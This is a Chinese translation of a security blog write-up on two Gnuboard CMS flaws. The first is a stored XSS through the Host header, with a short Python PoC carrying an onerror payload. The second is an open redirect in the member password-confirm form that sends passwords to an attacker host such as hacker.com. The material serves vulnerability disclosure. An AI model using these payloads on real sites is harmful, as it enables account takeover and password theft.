原文地址:http://blog.adm1nkyj.kr
譯者:歐巴@知道創宇404實驗室

簡介

Gnuboard是韓國Sir公司開發一套PHP+Mysql CMS程序。 本身數據結構簡單,可擴展性能強,程序運行代碼與皮膚文件分離,可擴展數據字段多,可以進行多種功能轉變,簡單安裝就可以作為BBS告示板使用,也可以下載皮膚插件變成 綜合網站,地方信息,購物,人才市場,物品交易網站。

Gnuboard stored xss

之前記錄的一個漏洞,漏洞觸發點比較有趣,而且威脅也大,所以就發到博客。

首先看一下 index.php代碼

<div style="float:left;<?php echo $lt_style ?>">
    <?php
    // ? ??? ?? ???? ???? ??? ???.
    // ???? : latest(??, ??????, ????, ???);
    // ??? ??? ????? theme/basic ? ?? ??
    echo latest("basic", $row['bo_table'], 5, 25);
    ?>
</div>

latest過濾之后echo輸出,如果是以前,就會跳過這個漏洞點,但是因為缺錢,所以跟了一下代碼。

跟一下lib/latest.lib.php文件

if(G5_USE_CACHE) {
    $cache_file = G5_DATA_PATH."/cache/latest-{$bo_table}-{$skin_dir}-{$rows}-{$subject_len}.php";

    if(!file_exists($cache_file)) {
        $cache_fwrite = true;
    } else {
        if($cache_time > 0) {
            $filetime = filemtime($cache_file);
            if($filetime && $filetime < (G5_SERVER_TIME - 3600 * $cache_time)) {
                @unlink($cache_file);
                $cache_fwrite = true;
            }
        }

        if(!$cache_fwrite)
            include($cache_file);
    }
}

if(!G5_USE_CACHE || $cache_fwrite) {
    $list = array();

    $sql = " select * from {$g5['board_table']} where bo_table = '{$bo_table}' ";
    $board = sql_fetch($sql);
    $bo_subject = get_text($board['bo_subject']);

    $tmp_write_table = $g5['write_prefix'] . $bo_table; // ??? ??? ????
    $sql = " select * from {$tmp_write_table} where wr_is_comment = 0 order by wr_num limit 0, {$rows} ";
    $result = sql_query($sql);
    for ($i=0; $row = sql_fetch_array($result); $i++) {
        $list[$i] = get_list($row, $board, $latest_skin_url, $subject_len);
    }

    if($cache_fwrite) {
        $handle = fopen($cache_file, 'w');
        $cache_content = "<?php\nif (!defined('_GNUBOARD_')) exit;\n\$bo_subject='".sql_escape_string($bo_subject)."';\n\$list=".var_export($list, true)."?>";
        fwrite($handle, $cache_content);
        fclose($handle);
    }
}

ob_start();
include $latest_skin_path.'/latest.skin.php';
$content = ob_get_contents();
ob_end_clean();

return $content;

看代碼能發現,如果存在緩存文件,那就直接包含已存在的緩存,如果沒有那就生成一個緩存文件之后,再調用緩存。

生成緩存的時候會傳入$latest_skin_url函數,$latest_skin_url函數會包含G5_SKIN_URL的值。G5_SKIN_URL的值在 common.php文件的g5_path()的函數中會包含 host頭的值,導致xss漏洞。

漏洞復現:

為了初始化緩存,先發一篇文章,然后跳轉到index.php的時候 修改host值為 "><img src=1 onerror="alert('XSS');">

PoC :

import requests
from urllib import quote

header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}

url = "site_url"

r = requests.get(url, headers=header)
print r.text

Gnuboard open redirect & password leak

為了參加 hacking camp的演講,準備open redirect漏洞的案例的時候,想起之前朋友挖過的gnuboard的漏洞,然后現在看了一下,雖然有補丁但是還是存在漏洞。

skin/member/basic/member_confirm_skin.php文件。

 <form name="fmemberconfirm" action="<?php echo $url ?>" onsubmit="return fmemberconfirm_submit(this);" method="post">
    <input type="hidden" name="mb_id" value="<?php echo $member['mb_id'] ?>">
    <input type="hidden" name="w" value="u">

    <fieldset>
        ?????
        <span id="mb_confirm_id"><?php echo $member['mb_id'] ?></span>

        <label for="confirm_mb_password">????<strong class="sound_only">??</strong></label>
        <input type="password" name="mb_password" id="confirm_mb_password" required class="required frm_input" size="15" maxLength="20">
        <input type="submit" value="??" id="btn_submit" class="btn_submit">
    </fieldset>

    </form>

可以看到在form表單里 輸出了 url,如果url改成 http://hacker.com,黑客會截取form表單里的所有的值。從上述代碼可以看到,form表單里包含了 password的值。

接著我們繼續查找從哪個文件調用了上述的member_confirm_skin.php文件。我們發現在bbs/member_confirm.php文件中調用了。

$url = clean_xss_tags($_GET['url']);

// url ??
check_url_host($url);

$url = get_text($url);

include_once($member_skin_path.'/member_confirm.skin.php');

include_once('./_tail.sub.php');
?>

但是這里看到對 url參數進行了過濾,繼續跟蹤看看check_url_host,函數是如何進行過濾的。

function check_url_host($url, $msg='', $return_url=G5_URL)
{
    if(!$msg)
        $msg = 'url? ? ???? ??? ? ????.';

    $p = @parse_url($url);
    $host = preg_replace('/:[0-9]+$/', '', $_SERVER['HTTP_HOST']);


    if(stripos($url, 'http:') !== false) {
        if(!isset($p['scheme']) || !$p['scheme'] || !isset($p['host']) || !$p['host'])
            alert('url ??? ???? ????.', $return_url);
    }



    if ((isset($p['scheme']) && $p['scheme']) || (isset($p['host']) && $p['host']) || $is_host_check) {
        //if ($p['host'].(isset($p['port']) ? ':'.$p['port'] : '') != $_SERVER['HTTP_HOST']) {
        if ( ($p['host'] != $host) || $is_host_check ) {
            echo '<script>'.PHP_EOL;
            echo 'alert("url? ? ???? ??? ? ????.");'.PHP_EOL;
            echo 'document.location.href = "'.$return_url.'";'.PHP_EOL;
            echo '</script>'.PHP_EOL;
            echo '<noscript>'.PHP_EOL;
            echo '<p>'.$msg.'</p>'.PHP_EOL;
            echo '<p><a href="'.$return_url.'">????</a></p>'.PHP_EOL;
            echo '</noscript>'.PHP_EOL;
            exit;
        }
    }
}

看到這里發現之前多慮了,因為發現parse_url函數基本沒有過濾。繞過方法參見下圖。

如果用這種方式構造url后,發送鏈接給會員輸入密碼,那么密碼會發送到攻擊者指定的服務器中(因為網址和實際網址一樣,所以成功欺騙的概率會更高一些)


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/463/